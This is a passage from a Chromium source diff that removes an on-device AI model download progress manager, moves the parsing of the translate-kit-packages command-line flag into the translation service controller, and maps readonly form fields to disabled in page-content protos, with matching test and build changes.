-  components_downloaded_bytes_ += downloaded_bytes_delta;
-
-  // If we haven't just determined bytes, that means we've already seen this
-  // component and we don't need to do anything further.
-  if (!just_determined) {
-    return;
-  }
-
-  // We shouldn't already be ready to report if a component's bytes have just
-  // been determined.
-  CHECK(!ReadyToReport());
-
-  components_total_bytes_ += component.total_bytes();
-  determined_components_++;
-
-  if (!ReadyToReport()) {
-    return;
-  }
-
-  last_reported_progress_ = 0;
-  last_progress_time_ = base::TimeTicks::Now();
-
-  // We don't want to include already downloaded bytes in our progress
-  // calculation, so determine it for later calculations and remove it now
-  // from components_total_bytes_.
-  components_total_bytes_ -= components_downloaded_bytes_;
-  components_downloaded_bytes_ = 0;
-
-  CHECK_GE(components_total_bytes_, 0);
-
-  // Must always fire the zero progress event first.
-  observer_remote_->OnDownloadProgressUpdate(
-      0, on_device_ai::kNormalizedDownloadProgressMax);
-}
-
-void AIModelDownloadProgressManager::Reporter::OnEvent(
-    Component& component,
-    bool just_determined,
-    int64_t downloaded_bytes_delta) {
-  ProcessEvent(component, just_determined, downloaded_bytes_delta);
-
-  // Wait for the total number of bytes to be downloaded to become determined.
-  if (!ReadyToReport()) {
-    return;
-  }
-
-  CHECK_GE(components_downloaded_bytes_, 0);
-  CHECK_LE(components_downloaded_bytes_, components_total_bytes_);
-
-  // Only report this event if we're at 100% or if more than 50ms has passed
-  // since the last time we reported a progress event.
-  if (components_downloaded_bytes_ != components_total_bytes_) {
-    base::TimeTicks current_time = base::TimeTicks::Now();
-    if (current_time - last_progress_time_ <= base::Milliseconds(50)) {
-      return;
-    }
-    last_progress_time_ = current_time;
-  }
-
-  int normalized_progress = on_device_ai::NormalizeModelDownloadProgress(
-      components_downloaded_bytes_, components_total_bytes_);
-
-  // Don't report progress events we've already sent.
-  if (normalized_progress == last_reported_progress_) {
-    return;
-  }
-
-  CHECK_GT(normalized_progress, last_reported_progress_);
-  last_reported_progress_ = normalized_progress;
-
-  // Send the progress event to the observer.
-  observer_remote_->OnDownloadProgressUpdate(
-      normalized_progress, on_device_ai::kNormalizedDownloadProgressMax);
-}
-
-}  // namespace on_device_ai
diff --git a/components/on_device_ai/ai_model_download_progress_manager.h b/components/on_device_ai/ai_model_download_progress_manager.h
deleted file mode 100644
index d082077..0000000
--- a/components/on_device_ai/ai_model_download_progress_manager.h
+++ /dev/null
@@ -1,165 +0,0 @@
-// Copyright 2025 The Chromium Authors
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef COMPONENTS_ON_DEVICE_AI_AI_MODEL_DOWNLOAD_PROGRESS_MANAGER_H_
-#define COMPONENTS_ON_DEVICE_AI_AI_MODEL_DOWNLOAD_PROGRESS_MANAGER_H_
-
-#include <memory>
-
-#include "base/containers/flat_set.h"
-#include "base/containers/unique_ptr_adapters.h"
-#include "base/memory/raw_ref.h"
-#include "base/memory/weak_ptr.h"
-#include "base/scoped_observation.h"
-#include "mojo/public/cpp/bindings/remote.h"
-#include "services/on_device_model/public/mojom/download_observer.mojom.h"
-
-namespace on_device_ai {
-
-// Manages a set of `ModelDownloadProgressObserver`s and sends them download
-// progress updates for their respective components.
-class AIModelDownloadProgressManager {
- public:
-  // A component can be implemented to report progress for any resource or
-  // operation. When added to `AIModelDownloadProgressManager` via
-  // `AddObserver`, it will report its progress updates to the respective
-  // `ModelDownloadProgressObserver`.
-  class Component {
-   public:
-    Component();
-    virtual ~Component();
-
-    // Move only.
-    Component(Component&&);
-    Component& operator=(Component&&) = default;
-
-   protected:
-    // The implementer calls these when downloaded bytes is changed. Downloaded
-    // bytes should only ever monotonically increase.
-    void SetDownloadedBytes(int64_t downloaded_bytes);
-
-    // The implementer calls this when total bytes has been determined. Total
-    // bytes should never change after its been determined.
-    void SetTotalBytes(int64_t total_bytes);
-
-   private:
-    friend AIModelDownloadProgressManager;
-
-    using EventCallback =
-        base::RepeatingCallback<void(Component& component,
-                                     bool just_determined,
-                                     int64_t downloaded_bytes_delta)>;
-
-    // Only call if `determined_bytes()` is true.
-    int64_t downloaded_bytes() const {
-      CHECK(determined_bytes());
-      return downloaded_bytes_.value();
-    }
-
-    int64_t total_bytes() const {
-      CHECK(determined_bytes());
-      return total_bytes_.value();
-    }
-
-    // True if both total and downloaded bytes are determined and they equal
-    // each other.
-    bool is_complete() const {
-      return determined_bytes() &&
-             (total_bytes_.value() == downloaded_bytes_.value());
-    }
-
-    // Returns true if both total and downloaded bytes are determined.
-    bool determined_bytes() const {
-      return downloaded_bytes_.has_value() && total_bytes_.has_value();
-    }
-
-    // `AIModelDownloadProgressManager` sets the event callback.
-    void SetEventCallback(EventCallback event_callback);
-    void MaybeRunEventCallback();
-
-    std::optional<int64_t> downloaded_bytes_;
-    std::optional<int64_t> total_bytes_;
-
-    std::optional<int64_t> last_downloaded_bytes_;
-
-    bool last_determined_bytes_ = false;
-
-    // Called anytime `SetDownloadedBytes()` or `SetTotalBytes()` is called.
-    EventCallback event_callback_;
-  };
-
-  AIModelDownloadProgressManager();
-  ~AIModelDownloadProgressManager();
-
-  // Not copyable or movable.
-  AIModelDownloadProgressManager(const AIModelDownloadProgressManager&) =
-      delete;
-  AIModelDownloadProgressManager& operator=(
-      const AIModelDownloadProgressManager&) = delete;
-
-  // Adds a `ModelDownloadProgressObserver` to send progress updates for
-  // `components`.
-  void AddObserver(mojo::PendingRemote<on_device_model::mojom::DownloadObserver>
-                       observer_remote,
-                   base::flat_set<std::unique_ptr<Component>> components);
-
-  int GetNumberOfReporters();
-
- private:
-  // Observes progress updates from `components`, filters and processes them,
-  // and reports the result to `observer_remote`.
-  class Reporter {
-   public:
-    Reporter(AIModelDownloadProgressManager& manager,
-             mojo::PendingRemote<on_device_model::mojom::DownloadObserver>
-                 observer_remote,
-             base::flat_set<std::unique_ptr<Component>> components);
-    ~Reporter();
-
-    // Not copyable or movable.
-    Reporter(const Reporter&) = delete;
-    Reporter& operator=(const Reporter&) = delete;
-
-    void OnEvent(Component& component,
-                 bool just_determined,
-                 int64_t downloaded_bytes_delta);
-
-   private:
-    void OnRemoteDisconnect();
-    void ProcessEvent(const Component& component,
-                      bool just_determined,
-                      int64_t downloaded_bytes_delta);
-    bool ReadyToReport();
-
-    // `manager_` owns `this`.
-    base::raw_ref<AIModelDownloadProgressManager> manager_;
-
-    mojo::Remote<on_device_model::mojom::DownloadObserver> observer_remote_;
-
-    // The components we're reporting the progress for.
-    base::flat_set<std::unique_ptr<Component>> components_;
-
-    // The number of components whose bytes have been determined.
-    int determined_components_ = 0;
-
-    // Sum of all observed components' downloaded_bytes.
-    int64_t components_downloaded_bytes_ = 0;
-
-    // Sum of all observed components' total_bytes.
-    int64_t components_total_bytes_ = 0;
-
-    int last_reported_progress_ = 0;
-    base::TimeTicks last_progress_time_;
-
-    base::WeakPtrFactory<Reporter> weak_ptr_factory_{this};
-  };
-
-  void RemoveReporter(Reporter* reporter);
-
-  base::flat_set<std::unique_ptr<Reporter>, base::UniquePtrComparator>
-      reporters_;
-};
-}  // namespace on_device_ai
-
-#endif  // COMPONENTS_ON_DEVICE_AI_AI_MODEL_DOWNLOAD_PROGRESS_MANAGER_H_
diff --git a/components/on_device_ai/ai_utils.cc b/components/on_device_ai/ai_utils.cc
index 57b7299..38f727f 100644
--- a/components/on_device_ai/ai_utils.cc
+++ b/components/on_device_ai/ai_utils.cc
@@ -34,22 +34,6 @@
   }
 }
 
-int64_t NormalizeModelDownloadProgress(int64_t bytes_so_far,
-                                       int64_t total_bytes) {
-  // If `bytes_so_far` is zero, we should have downloaded zero bytes
-  // out of zero meaning we're at 100%. So set it to
-  // `kNormalizedDownloadProgressMax` to avoid dividing by zero.
-  if (total_bytes == 0) {
-    CHECK_EQ(bytes_so_far, 0);
-    return kNormalizedDownloadProgressMax;
-  }
-
-  double raw_progress_fraction =
-      bytes_so_far / static_cast<double>(total_bytes);
-
-  return raw_progress_fraction * kNormalizedDownloadProgressMax;
-}
-
 base::flat_set<std::string_view> RestrictSupportedLanguagesForFeature(
     const base::flat_set<std::string_view>& supported,
     const base::FeatureParam<std::string>& feature_param) {
diff --git a/components/on_device_ai/ai_utils.h b/components/on_device_ai/ai_utils.h
index e1b9cad..56ed028 100644
--- a/components/on_device_ai/ai_utils.h
+++ b/components/on_device_ai/ai_utils.h
@@ -48,14 +48,6 @@
 blink::mojom::ModelStreamingResponseStatus ConvertOnDeviceError(
     optimization_guide::OnDeviceError error);
 
-static constexpr int kNormalizedDownloadProgressMax = 0x10000;
-
-// Normalizes the model download progress by scaling `bytes_so_far` from
-// having `total_bytes` its max to having a `kNormalizedDownloadProgressMax`
-// as its max.
-int64_t NormalizeModelDownloadProgress(int64_t bytes_so_far,
-                                       int64_t total_bytes);
-
 base::flat_set<std::string_view> RestrictSupportedLanguagesForFeature(
     const base::flat_set<std::string_view>& supported,
     const base::FeatureParam<std::string>& feature_param);
diff --git a/components/on_device_ai/test_support/fake_component.cc b/components/on_device_ai/test_support/fake_component.cc
deleted file mode 100644
index 020cf6f..0000000
--- a/components/on_device_ai/test_support/fake_component.cc
+++ /dev/null
@@ -1,25 +0,0 @@
-// Copyright 2024 The Chromium Authors
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "components/on_device_ai/test_support/fake_component.h"
-
-#include <cstdint>
-#include <utility>
-
-namespace on_device_ai {
-
-FakeComponent::FakeComponent(std::string id, uint64_t total_bytes)
-    : id_(std::move(id)), total_bytes_(total_bytes) {}
-
-component_updater::CrxUpdateItem FakeComponent::CreateUpdateItem(
-    update_client::ComponentState state,
-    uint64_t downloaded_bytes) const {
-  component_updater::CrxUpdateItem update_item;
-  update_item.state = state;
-  update_item.id = id_;
-  update_item.downloaded_bytes = downloaded_bytes;
-  update_item.total_bytes = total_bytes_;
-  return update_item;
-}
-}  // namespace on_device_ai
diff --git a/components/on_device_ai/test_support/fake_component.h b/components/on_device_ai/test_support/fake_component.h
deleted file mode 100644
index c691d138..0000000
--- a/components/on_device_ai/test_support/fake_component.h
+++ /dev/null
@@ -1,35 +0,0 @@
-// Copyright 2024 The Chromium Authors
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef COMPONENTS_ON_DEVICE_AI_TEST_SUPPORT_FAKE_COMPONENT_H_
-#define COMPONENTS_ON_DEVICE_AI_TEST_SUPPORT_FAKE_COMPONENT_H_
-
-#include <cstdint>
-
-#include "components/component_updater/mock_component_updater_service.h"
-#include "components/update_client/crx_update_item.h"
-#include "testing/gmock/include/gmock/gmock.h"
-#include "testing/gtest/include/gtest/gtest.h"
-
-namespace on_device_ai {
-
-class FakeComponent {
- public:
-  FakeComponent(std::string id, uint64_t total_bytes);
-
-  component_updater::CrxUpdateItem CreateUpdateItem(
-      update_client::ComponentState state,
-      uint64_t downloaded_bytes) const;
-
-  const std::string& id() { return id_; }
-  uint64_t total_bytes() { return total_bytes_; }
-
- private:
-  std::string id_;
-  uint64_t total_bytes_;
-};
-
-}  // namespace on_device_ai
-
-#endif  // COMPONENTS_ON_DEVICE_AI_TEST_SUPPORT_FAKE_COMPONENT_H_
diff --git a/components/on_device_translation/component_manager.cc b/components/on_device_translation/component_manager.cc
index 8e6409c..990ee45 100644
--- a/components/on_device_translation/component_manager.cc
+++ b/components/on_device_translation/component_manager.cc
@@ -24,15 +24,9 @@
 #include "components/on_device_translation/public/pref_names.h"
 #include "components/prefs/pref_service.h"
 
-#if BUILDFLAG(IS_WIN)
-#include "base/strings/utf_string_conversions.h"
-#endif  // BUILDFLAG(IS_WIN)
-
 namespace on_device_translation {
 namespace {
 
-const char kTranslateKitPackagePaths[] = "translate-kit-packages";
-
 // The implementation of ComponentManager.
 class ComponentManagerImpl : public ComponentManager {
  public:
@@ -45,12 +39,6 @@
 
   void RegisterTranslateKitLanguagePackComponent(
       LanguagePackKey language_pack) override {
-    if (!OnDeviceTranslationInstaller::GetInstance()->IsInit()) {
-      OnDeviceTranslationInstaller::GetInstance()->Init(base::BindRepeating(
-          &ComponentManagerImpl::RegisterTranslateKitLanguagePackComponent,
-          weak_ptr_factory_.GetWeakPtr(), language_pack));
-      return;
-    }
     OnDeviceTranslationInstaller::GetInstance()->InstallLanguagePack(
         language_pack);
   }
@@ -101,9 +89,7 @@
                                             manager);
 }
 
-ComponentManager::ComponentManager()
-    : language_packs_from_command_line_(GetLanguagePackInfoFromCommandLine()) {}
-
+ComponentManager::ComponentManager() = default;
 ComponentManager::~ComponentManager() = default;
 
 bool ComponentManager::RegisterTranslateKitComponent() {
@@ -141,74 +127,4 @@
   return GetTranslateKitComponentPathImpl();
 }
 
-void ComponentManager::GetLanguagePackInfo(
-    std::vector<mojom::OnDeviceTranslationLanguagePackagePtr>& packages,
-    std::vector<base::FilePath>& package_pathes) {
-  CHECK(packages.empty());
-  CHECK(package_pathes.empty());
-  if (language_packs_from_command_line_) {
-    for (const auto& package : *language_packs_from_command_line_) {
-      packages.push_back(mojom::OnDeviceTranslationLanguagePackage::New(
-          package.language1, package.language2));
-      package_pathes.push_back(package.package_path);
-    }
-    return;
-  }
-
-  for (const auto& it : kLanguagePackComponentConfigMap) {
-    auto file_path =
-        OnDeviceTranslationInstaller::GetInstance()->GetLanguagePackPath(
-            it.first);
-    if (!file_path.empty()) {
-      packages.push_back(mojom::OnDeviceTranslationLanguagePackage::New(
-          std::string(ToLanguageCode(it.second->language1)),
-          std::string(ToLanguageCode(it.second->language2))));
-      package_pathes.push_back(file_path);
-    }
-  }
-}
-
-// static
-std::optional<std::vector<ComponentManager::LanguagePackInfo>>
-ComponentManager::GetLanguagePackInfoFromCommandLine() {
-  base::CommandLine* command_line = base::CommandLine::ForCurrentProcess();
-  if (!command_line->HasSwitch(kTranslateKitPackagePaths)) {
-    return std::nullopt;
-  }
-  const auto packages_string =
-      command_line->GetSwitchValueNative(kTranslateKitPackagePaths);
-  std::vector<base::CommandLine::StringType> splitted_strings =
-      base::SplitString(packages_string,
-#if BUILDFLAG(IS_WIN)
-                        L",",
-#else   // !BUILDFLAG(IS_WIN)
-                        ",",
-#endif  // BUILDFLAG(IS_WIN)
-                        base::KEEP_WHITESPACE, base::SPLIT_WANT_ALL);
-  if (splitted_strings.size() % 3 != 0) {
-    LOG(ERROR) << "Invalid --" << kTranslateKitPackagePaths << " flag.";
-    return std::nullopt;
-  }
-
-  std::vector<LanguagePackInfo> packages;
-  auto it = splitted_strings.begin();
-  while (it != splitted_strings.end()) {
-    if (!base::IsStringASCII(*it) || !base::IsStringASCII(*(it + 1))) {
-      LOG(ERROR) << "Invalid --" << kTranslateKitPackagePaths << " flag.";
-      return std::nullopt;
-    }
-    LanguagePackInfo package;
-#if BUILDFLAG(IS_WIN)
-    package.language1 = base::WideToUTF8(*(it++));
-    package.language2 = base::WideToUTF8(*(it++));
-#else  // !BUILDFLAG(IS_WIN)
-    package.language1 = *(it++);
-    package.language2 = *(it++);
-#endif
-    package.package_path = base::FilePath(*(it++));
-    packages.push_back(std::move(package));
-  }
-  return packages;
-}
-
 }  // namespace on_device_translation
diff --git a/components/on_device_translation/component_manager.h b/components/on_device_translation/component_manager.h
index 5bb2073..c4aee7c 100644
--- a/components/on_device_translation/component_manager.h
+++ b/components/on_device_translation/component_manager.h
@@ -64,20 +64,6 @@
   // returned path in the sandboxed process on macOS.
   base::FilePath GetTranslateKitComponentPath();
 
-  // Get the language pack info. If the language pack info is set by the
-  // command line `--translate-kit-packages`, returns the language pack info
-  // from the command line. Otherwise, returns the language pack info from the
-  // global prefs.
-  void GetLanguagePackInfo(
-      std::vector<mojom::OnDeviceTranslationLanguagePackagePtr>& packages,
-      std::vector<base::FilePath>& package_pathes);
-
-  // Returns true if the language pack information is from the command line
-  // `--translate-kit-packages`.
-  bool HasLanguagePackInfoFromCommandLine() const {
-    return !!language_packs_from_command_line_;
-  }
-
  protected:
   // This is called when RegisterTranslateKitComponent() is called for the first
   // time.
@@ -88,26 +74,9 @@
   virtual base::FilePath GetTranslateKitComponentPathImpl() = 0;
 
  private:
-  // The information of a language pack.
-  struct LanguagePackInfo {
-    std::string language1;
-    std::string language2;
-    base::FilePath package_path;
-  };
-
-  // Get a list of LanguagePackInfo from the command line flag
-  // `--translate-kit-packages`.
-  static std::optional<std::vector<LanguagePackInfo>>
-  GetLanguagePackInfoFromCommandLine();
-
   // Whether RegisterTranslateKitComponent() was called.
   bool translate_kit_component_registered_ = false;
 
-  // The LanguagePackInfo from the command line. This is nullopt if the command
-  // line flag `--translate-kit-packages` is not set.
-  const std::optional<std::vector<LanguagePackInfo>>
-      language_packs_from_command_line_;
-
   // The singleton instance of ComponentManager for testing.
   static ComponentManager* component_manager_for_test_;
 };
diff --git a/components/on_device_translation/component_manager_unittest.cc b/components/on_device_translation/component_manager_unittest.cc
index 572a2c8d..a673788 100644
--- a/components/on_device_translation/component_manager_unittest.cc
+++ b/components/on_device_translation/component_manager_unittest.cc
@@ -106,15 +106,4 @@
             components_dir.Append(GetBinaryRelativeInstallDir()));
 }
 
-// Tests that the translate kit component path is returned correctly when the
-// path is set by the command line flag.
-TEST_F(ComponentManagerTest, GetTranslateKitComponentPathFakeCommandLine) {
-  base::test::ScopedCommandLine scoped_command_line;
-  scoped_command_line.GetProcessCommandLine()->AppendSwitchPath(
-      "translate-kit-binary-path", fake_dir_.GetPath().AppendASCII("fake.so"));
-
-  EXPECT_EQ(ComponentManager::GetInstance().GetTranslateKitComponentPath(),
-            fake_dir_.GetPath().AppendASCII("fake.so"));
-}
-
 }  // namespace on_device_translation
diff --git a/components/on_device_translation/installer.h b/components/on_device_translation/installer.h
index c62a4f81..555d345c 100644
--- a/components/on_device_translation/installer.h
+++ b/components/on_device_translation/installer.h
@@ -60,13 +60,9 @@
   // Start initialization. When initialization is finished, the
   // `on_ready_callback` is called.
   virtual void Init(base::RepeatingClosure on_ready_callback) = 0;
-  // Start installation of a language pack. The callback is supposed to be
-  // called once the registration for installation is finished (not the
-  // installation itself). A bool is returned for quick failure.
+  // Start installation of a language pack.
   virtual void InstallLanguagePack(LanguagePackKey language_pack) = 0;
-  // Start uninstallation of a language pack. The callback is supposed to be
-  // called once the uninstallation is registered to happen. A bool is returned
-  // for quick failures.
+  // Start uninstallation of a language pack.
   virtual void UnInstallLanguagePack(LanguagePackKey language_pack) = 0;
 
   // Subscribes a new observer to be notified of events.
diff --git a/components/on_device_translation/service_controller.cc b/components/on_device_translation/service_controller.cc
index 01cf9294..431771d 100644
--- a/components/on_device_translation/service_controller.cc
+++ b/components/on_device_translation/service_controller.cc
@@ -40,10 +40,23 @@
 #include "third_party/blink/public/common/features.h"
 #include "third_party/blink/public/mojom/on_device_translation/translation_manager.mojom-shared.h"
 
+#if BUILDFLAG(IS_WIN)
+#include "base/strings/utf_string_conversions.h"
+#endif  // BUILDFLAG(IS_WIN)
+
 using blink::mojom::CanCreateTranslatorResult;
 
 namespace on_device_translation {
 
+// The information of a language pack.
+struct OnDeviceTranslationServiceController::LanguagePackInfo {
+  std::string language1;
+  std::string language2;
+  base::FilePath package_path;
+};
+
+namespace {
+
 using blink::mojom::CreateTranslatorError;
 using mojom::CreateTranslatorResult;
 using mojom::FileOperationProxy;
@@ -52,7 +65,7 @@
 using mojom::OnDeviceTranslationServiceConfig;
 using mojom::OnDeviceTranslationServiceConfigPtr;
 
-namespace {
+const char kTranslateKitPackagePaths[] = "translate-kit-packages";
 
 // Prefix for the display name of the on-device translation service. The origin
 // is appended to the prefix.
@@ -68,6 +81,80 @@
 #endif  // BUILDFLAG(IS_WIN)
 }
 
+std::vector<base::FilePath> GetLanguagePackInfo(
+    const std::optional<
+        std::vector<OnDeviceTranslationServiceController::LanguagePackInfo>>&
+        lang_pack_info,
+    std::vector<mojom::OnDeviceTranslationLanguagePackagePtr>& packages) {
+  CHECK(packages.empty());
+  std::vector<base::FilePath> package_pathes;
+  if (lang_pack_info) {
+    for (const auto& package : *lang_pack_info) {
+      packages.push_back(mojom::OnDeviceTranslationLanguagePackage::New(
+          package.language1, package.language2));
+      package_pathes.push_back(package.package_path);
+    }
+    return package_pathes;
+  }
+
+  for (const auto& it : kLanguagePackComponentConfigMap) {
+    auto file_path =
+        OnDeviceTranslationInstaller::GetInstance()->GetLanguagePackPath(
+            it.first);
+    if (!file_path.empty()) {
+      packages.push_back(mojom::OnDeviceTranslationLanguagePackage::New(
+          std::string(ToLanguageCode(it.second->language1)),
+          std::string(ToLanguageCode(it.second->language2))));
+      package_pathes.push_back(file_path);
+    }
+  }
+
+  return package_pathes;
+}
+
+std::optional<
+    std::vector<OnDeviceTranslationServiceController::LanguagePackInfo>>
+GetLanguagePackInfoFromCommandLine() {
+  base::CommandLine* command_line = base::CommandLine::ForCurrentProcess();
+  if (!command_line->HasSwitch(kTranslateKitPackagePaths)) {
+    return std::nullopt;
+  }
+  const auto packages_string =
+      command_line->GetSwitchValueNative(kTranslateKitPackagePaths);
+  std::vector<base::CommandLine::StringType> splitted_strings =
+      base::SplitString(packages_string,
+#if BUILDFLAG(IS_WIN)
+                        L",",
+#else   // !BUILDFLAG(IS_WIN)
+                        ",",
+#endif  // BUILDFLAG(IS_WIN)
+                        base::KEEP_WHITESPACE, base::SPLIT_WANT_ALL);
+  if (splitted_strings.size() % 3 != 0) {
+    LOG(ERROR) << "Invalid --" << kTranslateKitPackagePaths << " flag.";
+    return std::nullopt;
+  }
+
+  std::vector<OnDeviceTranslationServiceController::LanguagePackInfo> packages;
+  auto it = splitted_strings.begin();
+  while (it != splitted_strings.end()) {
+    if (!base::IsStringASCII(*it) || !base::IsStringASCII(*(it + 1))) {
+      LOG(ERROR) << "Invalid --" << kTranslateKitPackagePaths << " flag.";
+      return std::nullopt;
+    }
+    OnDeviceTranslationServiceController::LanguagePackInfo package;
+#if BUILDFLAG(IS_WIN)
+    package.language1 = base::WideToUTF8(*(it++));
+    package.language2 = base::WideToUTF8(*(it++));
+#else  // !BUILDFLAG(IS_WIN)
+    package.language1 = *(it++);
+    package.language2 = *(it++);
+#endif
+    package.package_path = base::FilePath(*(it++));
+    packages.push_back(std::move(package));
+  }
+  return packages;
+}
+
 LanguagePackRequirements GetLanguagePackRequirements(
     const std::string& source_lang,
     const std::string& target_lang) {
@@ -134,7 +221,8 @@
     : manager_(manager),
       origin_(origin),
       service_idle_timeout_(kTranslationAPIServiceIdleTimeout.Get()),
-      file_operation_proxy_(nullptr, base::OnTaskRunnerDeleter(nullptr)) {
+      file_operation_proxy_(nullptr, base::OnTaskRunnerDeleter(nullptr)),
+      language_packs_from_command_line_(GetLanguagePackInfoFromCommandLine()) {
   // Initialize the pref change registrar.
   pref_change_registrar_.Init(local_state);
   if (!ComponentManager::HasTranslateKitLibraryPathFromCommandLine()) {
@@ -145,7 +233,7 @@
                                 OnTranslateKitBinaryPathChanged,
                             base::Unretained(this)));
   }
-  if (!ComponentManager::GetInstance().HasLanguagePackInfoFromCommandLine()) {
+  if (!language_packs_from_command_line_.has_value()) {
     // Start listening to pref changes for language pack keys.
     for (const auto& it : kLanguagePackComponentConfigMap) {
       pref_change_registrar_.Add(
@@ -172,7 +260,7 @@
 
   // If the language packs are set by the command line, we don't need to check
   // the installed language packs.
-  if (!ComponentManager::GetInstance().HasLanguagePackInfoFromCommandLine()) {
+  if (!language_packs_from_command_line_.has_value()) {
     language_pack_requirements =
         GetLanguagePackRequirements(source_lang, target_lang);
     std::vector<LanguagePackKey> to_be_registered_packs =
@@ -263,7 +351,7 @@
     const std::string& source_lang,
     const std::string& target_lang,
     base::OnceCallback<void(CanCreateTranslatorResult)> callback) {
-  if (!ComponentManager::GetInstance().HasLanguagePackInfoFromCommandLine()) {
+  if (!language_packs_from_command_line_.has_value()) {
     // If the language packs are not set by the command line, returns the result
     // of CanTranslateImpl().
     std::move(callback).Run(CanTranslateImpl(source_lang, target_lang));
@@ -422,9 +510,8 @@
           .Pass());
 
   auto config = OnDeviceTranslationServiceConfig::New();
-  std::vector<base::FilePath> package_pathes;
-  ComponentManager::GetInstance().GetLanguagePackInfo(config->packages,
-                                                      package_pathes);
+  std::vector<base::FilePath> package_pathes =
+      GetLanguagePackInfo(language_packs_from_command_line_, config->packages);
   mojo::PendingReceiver<FileOperationProxy> proxy_receiver =
       config->file_operation_proxy.InitWithNewPipeAndPassReceiver();
   service_remote_->SetServiceConfig(std::move(config));
diff --git a/components/on_device_translation/service_controller.h b/components/on_device_translation/service_controller.h
index 5c800173..0935c07 100644
--- a/components/on_device_translation/service_controller.h
+++ b/components/on_device_translation/service_controller.h
@@ -70,6 +70,8 @@
 
   // Returns true if the service is running.
   bool IsServiceRunning() const { return !!service_remote_; }
+  // The information of a language pack.
+  struct LanguagePackInfo;
 
  private:
   friend base::RefCounted<OnDeviceTranslationServiceController>;
@@ -143,6 +145,10 @@
       file_operation_proxy_;
   // The pending tasks that are waiting for the language packs to be installed.
   std::vector<PendingTask> pending_tasks_;
+  // The LanguagePackInfo from the command line. This is nullopt if the command
+  // line flag `--translate-kit-packages` is not set.
+  const std::optional<std::vector<LanguagePackInfo>>
+      language_packs_from_command_line_;
 };
 
 }  // namespace on_device_translation
diff --git a/components/optimization_guide/content/browser/page_content_proto_util.cc b/components/optimization_guide/content/browser/page_content_proto_util.cc
index 459d9df..38c7c82 100644
--- a/components/optimization_guide/content/browser/page_content_proto_util.cc
+++ b/components/optimization_guide/content/browser/page_content_proto_util.cc
@@ -670,6 +670,14 @@
     ConvertNodeInteractionInfo(*mojom_attributes.node_interaction_info,
                                proto_attributes->mutable_interaction_info());
   }
+  if (mojom_attributes.node_interaction_info &&
+      mojom_attributes.form_control_data &&
+      mojom_attributes.form_control_data->is_readonly) {
+    // Temporarily map readonly to disabled. This is a lossy workaround that
+    // preserves "do not edit" intent for consumers that only read proto data.
+    // TODO(crbug.com/481361478): Add readonly field to FormControlData proto.
+    proto_attributes->mutable_interaction_info()->set_is_disabled(true);
+  }
 
   if (mojom_attributes.text_info) {
     if (mojom_attributes.attribute_type !=
diff --git a/components/optimization_guide/content/browser/page_content_proto_util_unittest.cc b/components/optimization_guide/content/browser/page_content_proto_util_unittest.cc
index e6cefde..6be65c4e 100644
--- a/components/optimization_guide/content/browser/page_content_proto_util_unittest.cc
+++ b/components/optimization_guide/content/browser/page_content_proto_util_unittest.cc
@@ -959,6 +959,13 @@
       "placeholder";
   form_control_node->content_attributes->form_control_data->is_checked = true;
   form_control_node->content_attributes->form_control_data->is_required = false;
+  form_control_node->content_attributes->form_control_data->is_readonly = true;
+  // Provide interaction info so we can verify the temporary mapping from
+  // read-only to disabled while the proto lacks a dedicated field.
+  form_control_node->content_attributes->node_interaction_info =
+      blink::mojom::AIPageContentNodeInteractionInfo::New();
+  form_control_node->content_attributes->node_interaction_info->is_disabled =
+      false;
   form_control_node->content_attributes->form_control_data->select_options
       .push_back(blink::mojom::AIPageContentSelectOption::New());
   form_control_node->content_attributes->form_control_data->select_options[0]
@@ -990,6 +997,12 @@
   EXPECT_EQ(form_control_data_proto.placeholder(), "placeholder");
   EXPECT_TRUE(form_control_data_proto.is_checked());
   EXPECT_FALSE(form_control_data_proto.is_required());
+  // Read-only is mapped to disabled until the proto gains a dedicated field.
+  EXPECT_TRUE(page_content.proto.root_node()
+                  .children_nodes(0)
+                  .content_attributes()
+                  .interaction_info()
+                  .is_disabled());
   ASSERT_EQ(form_control_data_proto.select_options_size(), 1);
   EXPECT_EQ(form_control_data_proto.select_options(0).value(), "option value");
   EXPECT_EQ(form_control_data_proto.select_options(0).text(), "option text");
diff --git a/components/optimization_guide/core/BUILD.gn b/components/optimization_guide/core/BUILD.gn
index 8f83e721..ab9df06 100644
--- a/components/optimization_guide/core/BUILD.gn
+++ b/components/optimization_guide/core/BUILD.gn
@@ -304,6 +304,8 @@
       "model_execution/on_device_model_adaptation_loader.h",
       "model_execution/on_device_model_component.cc",
       "model_execution/on_device_model_component.h",
+      "model_execution/on_device_model_download_progress_manager.cc",
+      "model_execution/on_device_model_download_progress_manager.h",
       "model_execution/on_device_model_execution_proto_descriptors.h",
       "model_execution/on_device_model_execution_proto_status.h",
       "model_execution/on_device_model_execution_proto_value_utils.cc",
@@ -355,6 +357,7 @@
       "//components/optimization_guide/proto:optimization_guide_proto",
       "//components/optimization_guide/public/mojom",
       "//components/prefs",
+      "//components/update_client",
       "//components/version_info",
       "//services/data_decoder/public/cpp",
       "//services/on_device_model/public/cpp",
@@ -549,12 +552,16 @@
   ]
   if (build_with_model_execution) {
     sources += [
+      "model_execution/test/fake_component_update_service.cc",
+      "model_execution/test/fake_component_update_service.h",
       "model_execution/test/fake_model_assets.cc",
       "model_execution/test/fake_model_assets.h",
       "model_execution/test/fake_model_broker.cc",
       "model_execution/test/fake_model_broker.h",
       "model_execution/test/feature_config_builder.cc",
       "model_execution/test/feature_config_builder.h",
+      "model_execution/test/mock_download_progress_observer.cc",
+      "model_execution/test/mock_download_progress_observer.h",
       "model_execution/test/mock_on_device_capability.cc",
       "model_execution/test/mock_on_device_capability.h",
       "model_execution/test/mock_remote_model_executor.cc",
@@ -569,8 +576,10 @@
       "model_execution/test/test_on_device_model_component_state_manager.h",
     ]
     deps += [
+      "//components/component_updater:test_support",
       "//components/optimization_guide/public/mojom",
       "//components/prefs:test_support",
+      "//components/update_client",
       "//services/on_device_model/public/cpp:types",
       "//services/on_device_model/public/cpp/test_support",
     ]
@@ -744,6 +753,7 @@
       "model_execution/on_device_asset_manager_unittest.cc",
       "model_execution/on_device_model_adaptation_loader_unittest.cc",
       "model_execution/on_device_model_component_unittest.cc",
+      "model_execution/on_device_model_download_progress_manager_unittest.cc",
       "model_execution/on_device_model_execution_proto_descriptors_unittest.cc",
       "model_execution/on_device_model_execution_proto_value_utils_unittest.cc",
       "model_execution/on_device_model_feature_adapter_unittest.cc",
